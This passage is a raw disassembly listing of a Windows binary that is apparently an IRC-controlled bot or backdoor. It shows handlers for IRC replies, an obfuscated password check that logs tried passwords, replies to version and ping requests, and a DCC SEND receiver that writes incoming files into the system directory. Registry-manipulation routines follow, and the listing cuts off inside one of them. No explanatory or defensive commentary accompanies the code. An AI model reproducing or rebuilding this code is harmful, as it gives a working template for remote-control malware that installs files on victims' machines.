jz short loc_4202CA
mov dl, [eax]
cmp dl, 2Dh
jnz short loc_4202CD
cmp [eax+2], bl
jnz short loc_420294
movsx edx, byte ptr [eax+1]
mov [ebp+edx+var_154], 1
jmp short loc_4202BC
; ---------------------------------------------------------------------------
loc_420294: ; CODE XREF: sub_420244+40j
cmp dl, 2Dh
jnz short loc_4202CD
cmp byte ptr [eax+2], 3Ah
jnz short loc_4202CD
cmp [eax+4], bl
jnz short loc_4202CD
movsx edx, byte ptr [eax+1]
mov [ebp+edx+var_154], 1
cmp byte ptr [eax+1], 72h
jnz short loc_4202BC
mov dl, [eax+3]
mov [ebp+var_30], dl
loc_4202BC: ; CODE XREF: sub_420244+4Ej
; sub_420244+70j
mov [eax], bl
mov eax, [ecx]
mov [eax+1], bl
mov eax, [ecx]
mov [eax+2], bl
mov [ecx], ebx
loc_4202CA: ; CODE XREF: sub_420244+34j
dec esi
jns short loc_42026E
loc_4202CD: ; CODE XREF: sub_420244+28j
; sub_420244+3Bj ...
movzx eax, [ebp+var_E1]
mov [ebp+var_54], eax
push 15h
movzx eax, [ebp+var_E6]
mov [ebp+var_50], eax
lea esi, [ebp+var_54]
movzx eax, [ebp+var_EC]
mov [ebp+var_4C], eax
movzx eax, [ebp+var_DE]
movzx ecx, [ebp+var_EE]
mov [ebp+var_48], eax
mov [ebp+var_40], ecx
movzx eax, [ebp+var_101]
movzx ecx, [ebp+var_E5]
movzx edx, [ebp+var_105]
mov [ebp+var_44], eax
mov [ebp+var_24], eax
movzx eax, [ebp+var_F3]
mov [ebp+var_14], eax
mov [ebp+var_3C], ecx
movzx eax, [ebp+var_F2]
movzx ecx, [ebp+var_DD]
mov [ebp+var_28], edx
mov [ebp+var_10], eax
movzx edx, [ebp+var_10C]
movzx eax, [ebp+var_F1]
mov [ebp+var_38], ecx
mov [ebp+var_20], edx
movzx ecx, [ebp+var_FD]
movzx edx, [ebp+var_106]
mov [ebp+var_C], eax
mov [ebp+var_2C], ecx
movzx eax, [ebp+var_EF]
movzx ecx, [ebp+var_E2]
mov [ebp+var_18], edx
mov [ebp+var_4], eax
movzx edx, [ebp+var_102]
mov eax, [ebp+arg_0]
mov [ebp+var_34], ecx
mov [ebp+var_8], ecx
pop ecx
mov edi, eax
mov [ebp+var_1C], edx
rep movsd
pop edi
pop esi
pop ebx
leave
retn
sub_420244 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420399 proc near ; DATA XREF: sub_420CC8+18o
var_3D70 = byte ptr -3D70h
var_1660 = byte ptr -1660h
var_660 = byte ptr -660h
var_260 = byte ptr -260h
var_25C = byte ptr -25Ch
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 3D70h
call sub_429A90
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
inc esi
cmp byte ptr [esi+1], 0
jz loc_4209EA
cmp byte ptr [esi], 2Bh
jnz short loc_4203DA
push offset byte_454A34
push offset asc_44DDE8 ; "+"
push esi
call sub_427931
push esi
push offset dword_443E90
call sub_41557B
add esp, 14h
loc_4203DA: ; CODE XREF: sub_420399+21j
lea eax, [ebp+var_660]
push esi
push eax
call dword_4370A4 ; lstrcpyA
push 40h
lea eax, [ebp+var_15C]
push esi
push eax
call sub_4276B6
mov cl, [ebp+var_660]
add esp, 0Ch
cmp cl, byte_443988
mov [ebp+arg_0], eax
jnz loc_42066D
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_5C]
push eax
call sub_420244
add esp, 0Ch
cmp [ebp+var_15C], 0
mov esi, eax
lea edi, [ebp+var_5C]
push 15h
pop ecx
rep movsd
jz loc_4209EA
mov eax, [ebp+var_15C]
mov al, [eax]
cmp al, byte_443988
jnz short loc_4204AF
mov ebx, [ebp+arg_4]
mov edi, [ebp+arg_8]
inc [ebp+var_15C]
mov ecx, edi
push dword ptr [ebx+8]
push dword ptr [ebx+4]
push dword ptr [ebx]
call sub_41C68F
test eax, eax
mov ecx, edi
jz short loc_4204B6
call sub_41DA92
push eax
push dword ptr [ebx+0Ch]
call dword_437174 ; lstrcmpiA
test eax, eax
jnz short loc_420483
mov eax, [ebx]
mov [ebx+0Ch], eax
loc_420483: ; CODE XREF: sub_420399+E3j
push 0
lea eax, [ebp+var_660]
sub esp, 54h
lea esi, [ebp+var_5C]
push 15h
pop ecx
mov edi, esp
push [ebp+arg_8]
rep movsd
push ebx
push eax
push [ebp+arg_0]
lea eax, [ebp+var_15C]
push eax
call sub_40A938
add esp, 6Ch
loc_4204AF: ; CODE XREF: sub_420399+AFj
; sub_420399+18Bj ...
xor eax, eax
loc_4204B1: ; CODE XREF: sub_420399+654j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4204B6: ; CODE XREF: sub_420399+D0j
call sub_41DA92
mov esi, dword_437174
push eax
push dword ptr [ebx+0Ch]
call esi ; dword_437174
test eax, eax
jnz short loc_420515
mov ecx, edi
call sub_41C6E2
test eax, eax
lea eax, [ebp+var_660]
push eax
push dword ptr [ebx+8]
push dword ptr [ebx+4]
push dword ptr [ebx]
push offset aShktk1eNl8Jlzt ; "sHKtk1e/Nl8/jLZte1JtI/t1"
push offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1"
push offset aSSSS@SSentPmS ; "%s %s %s!%s@%s (Sent PM -> \"%s\")"
loc_4204F2: ; CODE XREF: sub_420399+217j
jz short loc_420502
push edi
call sub_41C77E
add esp, 20h
jmp loc_4209EA
; ---------------------------------------------------------------------------
loc_420502: ; CODE XREF: sub_420399:loc_4204F2j
push offset dword_443F14
push edi
call sub_41CD84
add esp, 24h
jmp loc_4209EA
; ---------------------------------------------------------------------------
loc_420515: ; CODE XREF: sub_420399+130j
push [ebp+var_15C]
push offset aDehziSaO0 ; "deHZI/SA//o0"
call esi ; dword_437174
test eax, eax
jnz short loc_4204AF
cmp [ebp+var_158], eax
jz loc_4209EA
push dword ptr [ebx+8]
lea eax, [ebp+var_25C]
push dword ptr [ebx+4]
push dword ptr [ebx]
push offset aSS@S ; "%s!%s@%s"
push 100h
push eax
call sub_429AEE
and [ebp+arg_4], 0
add esp, 18h
cmp dword_445D04, 0
jle short loc_42058A
loc_420560: ; CODE XREF: sub_420399+1EFj
lea eax, [ebp+var_25C]
push eax
mov eax, [ebp+arg_4]
push off_443EE0[eax*4]
call sub_427A85
pop ecx
test eax, eax
pop ecx
jnz short loc_4205B5
inc [ebp+arg_4]
mov eax, [ebp+arg_4]
cmp eax, dword_445D04
jl short loc_420560
loc_42058A: ; CODE XREF: sub_420399+1C5j
; sub_420399+232j
mov ecx, edi
call sub_41C6E2
push [ebp+var_158]
test eax, eax
push dword ptr [ebx+8]
push dword ptr [ebx+4]
push dword ptr [ebx]
push offset aZcm1__num3n0oe ; "ZcM1..nUM3N0OE819.1TEYD."
push offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1"
push offset aSSSS@SPassTrie ; "%s %s [%s!%s@%s] (Pass Tried -> %s)"
jmp loc_4204F2
; ---------------------------------------------------------------------------
loc_4205B5: ; CODE XREF: sub_420399+1E1j
push [ebp+var_158]
call sub_4154E4
pop ecx
push eax
push offset dword_443E48
call esi ; dword_437174
test eax, eax
jnz short loc_42058A
push dword ptr [ebx+8]
mov ecx, edi
push dword ptr [ebx+4]
push dword ptr [ebx]
call sub_41C53A
cmp eax, 0FFFFFFFFh
mov esi, offset aSS_1 ; "%s %s"
mov edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
jnz short loc_420629
cmp [ebp+var_5C], 0
jnz short loc_42060C
cmp [ebp+var_58], 0
jnz short loc_420616
push offset aMkk0_mvscp_hwh ; "mKK0/.MVScP.hwHKV/Er1cB0ZvOBu/66U/i/nNp"...
push edi
push esi
push dword ptr [ebx+0Ch]
push [ebp+arg_8]
call sub_41CD84
add esp, 14h
loc_42060C: ; CODE XREF: sub_420399+256j
cmp [ebp+var_58], 0
jz loc_4209EA
loc_420616: ; CODE XREF: sub_420399+25Cj
push offset aMkk0_mvscp_hwh ; "mKK0/.MVScP.hwHKV/Er1cB0ZvOBu/66U/i/nNp"...
push edi
push esi
push dword ptr [ebx]
push [ebp+arg_8]
call sub_41CD84
jmp short loc_420665
; ---------------------------------------------------------------------------
loc_420629: ; CODE XREF: sub_420399+250j
cmp [ebp+var_5C], 0
jnz short loc_42064A
cmp [ebp+var_58], 0
jnz short loc_420654
push offset aQvp40nd9f2 ; "/qvP40nD9F2/"
push edi
push esi
push dword ptr [ebx+0Ch]
push [ebp+arg_8]
call sub_41CD84
add esp, 14h
loc_42064A: ; CODE XREF: sub_420399+294j
cmp [ebp+var_58], 0
jz loc_4209EA
loc_420654: ; CODE XREF: sub_420399+29Aj
push offset aQvp40nd9f2 ; "/qvP40nD9F2/"
push edi
push esi
push dword ptr [ebx]
push [ebp+arg_8]
call sub_41CD0E
loc_420665: ; CODE XREF: sub_420399+28Ej
add esp, 14h
jmp loc_4209EA
; ---------------------------------------------------------------------------
loc_42066D: ; CODE XREF: sub_420399+70j
mov edi, [ebp+arg_8]
mov ecx, edi
call sub_41DA92
mov esi, [ebp+arg_4]
mov ebx, dword_437174
push eax
push dword ptr [esi+0Ch]
call ebx ; dword_437174
test eax, eax
jnz loc_4209EA
push [ebp+var_15C]
push offset dword_44DD88
call ebx ; dword_437174
test eax, eax
jnz short loc_4206E9
push offset dword_4439A4
push offset dword_44DD78
push dword ptr [esi]
push edi
call sub_41CD0E
add esp, 10h
mov ecx, edi
push dword ptr [esi+8]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_41C68F
test eax, eax
jnz loc_4209EA
mov ecx, edi
call sub_41C6E2
push dword ptr [esi+8]
push dword ptr [esi+4]
push dword ptr [esi]
push offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1"
push offset aSVersionReques ; "%s Version request from: %s!%s@%s"
jmp loc_4209CD
; ---------------------------------------------------------------------------
loc_4206E9: ; CODE XREF: sub_420399+304j
push [ebp+var_15C]
push offset dword_44DD4C
call ebx ; dword_437174
test eax, eax
jnz loc_42096A
push dword ptr [esi+8]
mov ecx, edi
push dword ptr [esi+4]
push dword ptr [esi]
call sub_41C68F
test eax, eax
jnz short loc_42072F
mov ecx, edi
call sub_41C6E2
push dword ptr [esi+8]
push dword ptr [esi+4]
push dword ptr [esi]
push offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1"
push offset aSDccRequestFro ; "%s DCC request from: %s!%s@%s"
jmp loc_4209CD
; ---------------------------------------------------------------------------
loc_42072F: ; CODE XREF: sub_420399+376j
push [ebp+var_158]
push offset aSend_0 ; "SEND"
call ebx ; dword_437174
test eax, eax
jnz loc_42096A
and [ebp+arg_0], eax
lea eax, [ebp+var_260]
push 104h
push eax
call dword_4370E4 ; GetSystemDirectoryA
push [ebp+var_154]
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_260]
push offset dword_445D48
push eax
call sub_429A33
add esp, 10h
lea eax, [ebp+var_260]
push 0
push 80h
push 2
push 0
push 1
push 40000000h
push eax
call dword_43705C ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_4207AF
push offset aYdidb16dnmq_ ; "YdidB16dnMQ."
push offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
push offset aSSUnableToWrit ; "%s %s unable to write file to disk."
jmp short loc_4207DF
; ---------------------------------------------------------------------------
loc_4207AF: ; CODE XREF: sub_420399+403j
push eax
call dword_437044 ; CloseHandle
lea eax, [ebp+var_260]
push offset off_44DCFC
push eax
call sub_42A43C
pop ecx
mov [ebp+var_4], eax
test eax, eax
pop ecx
jnz short loc_4207F3
push offset aYdidb16dnmq_ ; "YdidB16dnMQ."
push offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
push offset aSSOpeningFileF ; "%s %s opening file for writing."
loc_4207DF: ; CODE XREF: sub_420399+414j
lea eax, [ebp+var_3D70]
push eax
call sub_429A33
add esp, 10h
jmp loc_420932
; ---------------------------------------------------------------------------
loc_4207F3: ; CODE XREF: sub_420399+435j
push [ebp+var_14C]
call sub_42A030
push eax
push [ebp+var_150]
call sub_4261D4
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_4], eax
jnz short loc_42083F
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
push offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
lea eax, [ebp+var_3D70]
push offset aSSD ; "%s %s <%d>"
push eax
call sub_429A33
add esp, 14h
jmp loc_420932
; ---------------------------------------------------------------------------
loc_42083F: ; CODE XREF: sub_420399+47Aj
mov edi, 1000h
loc_420844: ; CODE XREF: sub_420399+55Ej
push edi
lea eax, [ebp+var_1660]
push 0
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_1660]
push 0
push edi
push eax
push [ebp+arg_4]
call dword_456F38 ; recv
mov ebx, eax
test ebx, ebx
jz loc_4208FC
cmp ebx, 0FFFFFFFFh
jnz short loc_4208C2
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
push offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
lea eax, [ebp+var_3D70]
push offset aSSD ; "%s %s <%d>"
push eax
call sub_429A33
lea eax, [ebp+var_3D70]
push eax
push offset aS_5 ; "%s"
push [ebp+arg_8]
call sub_41C77E
push [ebp+var_4]
call sub_42A03B
add esp, 24h
push [ebp+arg_4]
call dword_456FD0 ; closesocket
loc_4208C2: ; CODE XREF: sub_420399+4DDj
push [ebp+var_4]
lea eax, [ebp+var_1660]
push ebx
push 1
push eax
call sub_42C2E3
add [ebp+arg_0], ebx
add esp, 10h
push [ebp+arg_0]
call dword_456F14 ; ntohl
mov [ebp+var_8], eax
push 0
lea eax, [ebp+var_8]
push 4
push eax
push [ebp+arg_4]
call dword_456F6C ; send
jmp loc_420844
; ---------------------------------------------------------------------------
loc_4208FC: ; CODE XREF: sub_420399+4D4j
mov eax, [ebp+arg_0]
cdq
push edx
push eax
call sub_427D86
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_3D70]
push [ebp+var_150]
push offset aTransferComple ; "Transfer complete from IP: %s, File: %s"...
push eax
call sub_429A33
mov edi, [ebp+arg_8]
mov ebx, dword_437174
add esp, 1Ch
loc_420932: ; CODE XREF: sub_420399+455j
; sub_420399+4A1j
lea eax, [ebp+var_3D70]
push eax
push offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
push offset aSS_1 ; "%s %s"
push edi
call sub_41C77E
add esp, 10h
cmp [ebp+var_4], 0
jz short loc_42095B
push [ebp+var_4]
call sub_42A03B
pop ecx
loc_42095B: ; CODE XREF: sub_420399+5B7j
cmp [ebp+arg_4], 0
jbe short loc_42096A
push [ebp+arg_4]
call dword_456FD0 ; closesocket
loc_42096A: ; CODE XREF: sub_420399+35Fj
; sub_420399+3A5j ...
push [ebp+var_15C]
push offset dword_44DCA0
call ebx ; dword_437174
test eax, eax
jnz loc_4204AF
cmp [ebp+var_158], eax
jz loc_4204AF
push [ebp+var_158]
push offset dword_44DC94
push dword ptr [esi]
push edi
call sub_41CD0E
add esp, 10h
mov ecx, edi
push dword ptr [esi+8]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_41C68F
test eax, eax
jnz short loc_4209EA
mov ecx, edi
call sub_41C6E2
push dword ptr [esi+8]
push dword ptr [esi+4]
push dword ptr [esi]
push offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1"
push offset aSPingRequestFr ; "%s Ping request from: %s!%s@%s"
loc_4209CD: ; CODE XREF: sub_420399+34Bj
; sub_420399+391j
test eax, eax
jz short loc_4209DC
push edi
call sub_41C77E
add esp, 18h
jmp short loc_4209EA
; ---------------------------------------------------------------------------
loc_4209DC: ; CODE XREF: sub_420399+636j
push offset dword_443F14
push edi
call sub_41CD84
add esp, 1Ch
loc_4209EA: ; CODE XREF: sub_420399+18j
; sub_420399+9Bj ...
xor eax, eax
inc eax
jmp loc_4204B1
sub_420399 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4209F2 proc near ; DATA XREF: sub_420CC8+29o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push edi
mov edi, [ebp+arg_8]
mov ecx, edi
call sub_41DA92
push eax
push [ebp+arg_0]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_420A70
push 2
lea eax, [ebp+var_8]
push [ebp+arg_0]
push eax
call sub_4276B6
add esp, 0Ch
cmp [ebp+var_8], 0
jz short loc_420A70
cmp [ebp+var_4], 0
jz short loc_420A70
push esi
mov esi, offset dword_443EF4
push esi
push [ebp+var_8]
call dword_437174 ; lstrcmpiA
test eax, eax
mov ecx, edi
jnz short loc_420A51
push offset off_443EF8
push esi
call sub_41CFD5
jmp short loc_420A59
; ---------------------------------------------------------------------------
loc_420A51: ; CODE XREF: sub_4209F2+50j
push [ebp+var_8]
call sub_41CFAE
loc_420A59: ; CODE XREF: sub_4209F2+5Dj
mov eax, [ebp+arg_4]
push dword ptr [eax]
push offset dword_43AB8C
push [ebp+var_8]
push edi
call sub_41CD84
add esp, 10h
pop esi
loc_420A70: ; CODE XREF: sub_4209F2+1Dj
; sub_4209F2+34j ...
xor eax, eax
pop edi
leave
retn
sub_4209F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420A75 proc near ; DATA XREF: sub_420CC8+3Ao
var_2A3C = byte ptr -2A3Ch
var_32C = byte ptr -32Ch
var_12C = dword ptr -12Ch
var_2C = byte ptr -2Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 2A3Ch
call sub_429A90
push esi
push edi
push 2710h
lea eax, [ebp+var_2A3C]
push [ebp+arg_0]
push eax
call sub_429C40
lea eax, [ebp+var_2A3C]
push 3
push eax
lea eax, [ebp+var_C]
push eax
call sub_4276B6
add esp, 18h
cmp [ebp+var_C], 0
jz loc_420BEA
cmp [ebp+var_8], 0
jz loc_420BEA
mov ecx, [ebp+arg_8]
call sub_41DA92
push eax
push [ebp+var_C]
call dword_437174 ; lstrcmpiA
test eax, eax
push 10h
lea eax, [ebp+var_2C]
jnz short loc_420AE1
push [ebp+var_8]
jmp short loc_420AE4
; ---------------------------------------------------------------------------
loc_420AE1: ; CODE XREF: sub_420A75+65j
push [ebp+var_C]
loc_420AE4: ; CODE XREF: sub_420A75+6Aj
push eax
call sub_429C40
add esp, 0Ch
push 3Ah
push [ebp+arg_0]
call sub_42B0D0
mov esi, eax
pop ecx
inc esi
pop ecx
cmp byte ptr [esi], 2Bh
jnz short loc_420B46
push offset asc_44DDE8 ; "+"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_420B46
push esi
call sub_4292D0
cmp eax, 6
pop ecx
jbe short loc_420B46
push esi
call sub_4292D0
dec eax
push eax
push 1
push esi
call sub_4278FD
mov edi, eax
add esp, 10h
test edi, edi
jz short loc_420B46
push edi
push offset dword_443E90
call sub_41557B
pop ecx
mov esi, edi
pop ecx
loc_420B46: ; CODE XREF: sub_420A75+8Aj
; sub_420A75+9Bj ...
mov edi, offset dword_447710
push edi
push esi
call sub_429B8E
pop ecx
xor esi, esi
pop ecx
mov [ebp+var_12C], eax
inc esi
loc_420B5D: ; CODE XREF: sub_420A75+101j
push edi
push 0
call sub_429B8E
pop ecx
mov [ebp+esi*4+var_12C], eax
test eax, eax
pop ecx
jz short loc_420B78
inc esi
cmp esi, 40h
jl short loc_420B5D
loc_420B78: ; CODE XREF: sub_420A75+FBj
lea eax, [ebp+var_2C]
xor edi, edi
mov [ebp+var_10], eax
mov eax, offset aTopic ; "topic"
test esi, esi
mov [ebp+var_1C], eax
mov [ebp+var_18], eax
mov [ebp+var_14], eax
jle short loc_420BEA
loc_420B92: ; CODE XREF: sub_420A75+173j
mov eax, [ebp+edi*4+var_12C]
test eax, eax
jz short loc_420BE5
push eax
lea eax, [ebp+var_32C]
push offset aS_5 ; "%s"
push eax
call sub_429A33
mov al, [ebp+var_32C]
add esp, 0Ch
cmp al, byte_443988
jnz short loc_420BE5
push 1F4h
call dword_43718C ; Sleep
push 1
push 1
push [ebp+arg_8]
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_32C]
push eax
call sub_40A86F
add esp, 14h
loc_420BE5: ; CODE XREF: sub_420A75+126j
; sub_420A75+149j
inc edi
cmp edi, esi
jl short loc_420B92
loc_420BEA: ; CODE XREF: sub_420A75+3Cj
; sub_420A75+46j ...
pop edi
xor eax, eax
pop esi
leave
retn
sub_420A75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420BF0 proc near ; DATA XREF: sub_420CC8+89o
var_C4 = dword ptr -0C4h
var_8 = dword ptr -8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0C4h
push esi
lea eax, [ebp+arg_8]
push edi
mov edi, [ebp+arg_8]
xor esi, esi
push eax
lea eax, [ebp+var_C4]
push esi
push eax
push offset loc_41C372
push esi
push esi
mov [ebp+var_C4], edi
mov [ebp+var_8], esi
call dword_43717C ; CreateThread
jmp short loc_420C2C
; ---------------------------------------------------------------------------
loc_420C24: ; CODE XREF: sub_420BF0+3Fj
push 32h
call dword_43718C ; Sleep
loc_420C2C: ; CODE XREF: sub_420BF0+32j
cmp [ebp+var_8], esi
jz short loc_420C24
mov ecx, edi
call sub_41DA92
push eax
mov ecx, edi
call sub_41CE5F
push offset byte_457F4C
mov ecx, edi
call sub_41D09D
push offset off_443EF8
push offset dword_443EF4
mov ecx, edi
call sub_41CFD5
pop edi
xor eax, eax
pop esi
leave
retn
sub_420BF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420C63 proc near ; DATA XREF: sub_420CC8+78o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push 2
push [ebp+arg_0]
lea eax, [ebp+var_8]
push eax
call sub_4276B6
add esp, 0Ch
cmp [ebp+var_8], 0
jz short loc_420CA9
cmp [ebp+var_4], 0
jz short loc_420CA9
mov esi, offset byte_457F4D
push offset byte_454A34
push esi
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_420CA9
mov ecx, [ebp+arg_8]
push 0
push esi
push [ebp+var_4]
call sub_41D04A
loc_420CA9: ; CODE XREF: sub_420C63+1Bj
; sub_420C63+21j ...
xor eax, eax
pop esi
leave
retn
sub_420C63 endp
; =============== S U B R O U T I N E =======================================
sub_420CAE proc near ; DATA XREF: sub_420CC8+B5o
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push 5
push 7
call sub_41D0BB
mov ecx, [esp+arg_8]
push eax
call sub_41DA6B
xor eax, eax
retn
sub_420CAE endp
; =============== S U B R O U T I N E =======================================
sub_420CC8 proc near ; CODE XREF: sub_418EDB+5A9p
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
push offset sub_4338B8
push offset dword_445B20
mov ecx, esi
call sub_41C4C9
push offset sub_420399
push offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0"
mov ecx, esi
call sub_41C4C9
push offset sub_4209F2
push offset aBwIj0rhpgj1 ; "bw/Ij0rhPgj1"
mov ecx, esi
call sub_41C4C9
mov ebx, offset sub_420A75
mov ecx, esi
push ebx
push offset aFuv1h_fi8sc ; "FuV1H.fi8SC/"
call sub_41C4C9
mov edi, offset sub_41E380
mov ecx, esi
push edi
push offset aKc4l5_savs3_ ; "KC4L5.sAVS3."
call sub_41C4C9
push edi
push offset a302 ; "302"
mov ecx, esi
call sub_41C4C9
push ebx
push offset a332 ; "332"
mov ecx, esi
call sub_41C4C9
push offset sub_420C63
push offset a366 ; "366"
mov ecx, esi
call sub_41C4C9
mov edi, offset sub_420BF0
mov ecx, esi
push edi
push offset a005 ; "005"
call sub_41C4C9
push edi
push offset a376 ; "376"
mov ecx, esi
call sub_41C4C9
push edi
push offset a422 ; "422"
mov ecx, esi
call sub_41C4C9
push offset sub_420CAE
push offset a433 ; "433"
mov ecx, esi
call sub_41C4C9
pop edi
pop esi
pop ebx
retn
sub_420CC8 endp
; =============== S U B R O U T I N E =======================================
sub_420D92 proc near ; CODE XREF: sub_40A938+1485p
; sub_40A938+156Fp
arg_0 = dword ptr 4
push esi
mov esi, dword_437174
push edi
mov edi, [esp+8+arg_0]
push edi
push offset aHkey_local_mac ; "HKEY_LOCAL_MACHINE"
call esi ; dword_437174
test eax, eax
jz loc_420E36
push edi
push offset aHklm ; "HKLM"
call esi ; dword_437174
test eax, eax
jz short loc_420E36
push edi
push offset aHkey_current_u ; "HKEY_CURRENT_USER"
call esi ; dword_437174
test eax, eax
jz short loc_420E2F
push edi
push offset aHkcu ; "HKCU"
call esi ; dword_437174
test eax, eax
jz short loc_420E2F
push edi
push offset aHkey_classes_r ; "HKEY_CLASSES_ROOT"
call esi ; dword_437174
test eax, eax
jz short loc_420E28
push edi
push offset aHkcr ; "HKCR"
call esi ; dword_437174
test eax, eax
jz short loc_420E28
push edi
push offset aHkey_current_c ; "HKEY_CURRENT_CONFIG"
call esi ; dword_437174
test eax, eax
jz short loc_420E21
push edi
push offset aHkcc ; "HKCC"
call esi ; dword_437174
test eax, eax
jz short loc_420E21
push edi
push offset aHkey_users ; "HKEY_USERS"
call esi ; dword_437174
test eax, eax
jz short loc_420E1A
push edi
push offset off_44DE10
call esi ; dword_437174
test eax, eax
jnz short loc_420E36
loc_420E1A: ; CODE XREF: sub_420D92+7Aj
mov eax, 80000003h
jmp short loc_420E3B
; ---------------------------------------------------------------------------
loc_420E21: ; CODE XREF: sub_420D92+62j
; sub_420D92+6Ej
mov eax, 80000005h
jmp short loc_420E3B
; ---------------------------------------------------------------------------
loc_420E28: ; CODE XREF: sub_420D92+4Aj
; sub_420D92+56j
mov eax, 80000000h
jmp short loc_420E3B
; ---------------------------------------------------------------------------
loc_420E2F: ; CODE XREF: sub_420D92+32j
; sub_420D92+3Ej
mov eax, 80000001h
jmp short loc_420E3B
; ---------------------------------------------------------------------------
loc_420E36: ; CODE XREF: sub_420D92+16j
; sub_420D92+26j ...
mov eax, 80000002h
loc_420E3B: ; CODE XREF: sub_420D92+8Dj
; sub_420D92+94j ...
pop edi
pop esi
retn
sub_420D92 endp
; =============== S U B R O U T I N E =======================================
sub_420E3E proc near ; CODE XREF: sub_42105D+158p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 4
ja short loc_420E75
jz short loc_420E6F
sub eax, 0
jz short loc_420E69
dec eax
jz short loc_420E63
dec eax
jz short loc_420E5D
dec eax
jnz short loc_420E85
mov eax, offset aReg_binary ; "REG_BINARY"
retn
; ---------------------------------------------------------------------------
loc_420E5D: ; CODE XREF: sub_420E3E+14j
mov eax, offset aReg_expand_sz ; "REG_EXPAND_SZ"
retn
; ---------------------------------------------------------------------------
loc_420E63: ; CODE XREF: sub_420E3E+11j
mov eax, offset aReg_sz ; "REG_SZ"
retn
; ---------------------------------------------------------------------------
loc_420E69: ; CODE XREF: sub_420E3E+Ej
mov eax, offset aReg_none ; "REG_NONE"
retn
; ---------------------------------------------------------------------------
loc_420E6F: ; CODE XREF: sub_420E3E+9j
mov eax, offset aReg_dword ; "REG_DWORD"
retn
; ---------------------------------------------------------------------------
loc_420E75: ; CODE XREF: sub_420E3E+7j
sub eax, 5
jz short loc_420E9D
dec eax
jz short loc_420E97
dec eax
jz short loc_420E91
sub eax, 4
jz short loc_420E8B
loc_420E85: ; CODE XREF: sub_420E3E+17j
mov eax, offset aUnknown_0 ; "UNKNOWN"
retn
; ---------------------------------------------------------------------------
loc_420E8B: ; CODE XREF: sub_420E3E+45j
mov eax, offset aReg_qword ; "REG_QWORD"
retn
; ---------------------------------------------------------------------------
loc_420E91: ; CODE XREF: sub_420E3E+40j
mov eax, offset aReg_multi_sz ; "REG_MULTI_SZ"
retn
; ---------------------------------------------------------------------------
loc_420E97: ; CODE XREF: sub_420E3E+3Dj
mov eax, offset aReg_link ; "REG_LINK"
retn
; ---------------------------------------------------------------------------
loc_420E9D: ; CODE XREF: sub_420E3E+3Aj
mov eax, offset aReg_dword_big_ ; "REG_DWORD_BIG_ENDIAN"
retn
sub_420E3E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420EA3 proc near ; CODE XREF: sub_418EDB+B4p
; sub_420EA3+A8p ...
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
xor ebx, ebx
cmp [ebp+arg_4], ebx
push esi
push edi
mov [ebp+var_4], ebx
jz loc_420FC2
cmp [ebp+arg_8], ebx
jnz loc_420F84
push [ebp+arg_4]
push [ebp+arg_0]
call dword_456E78 ; RegDeleteKeyA
test eax, eax
jz loc_420FB7
push 3Fh
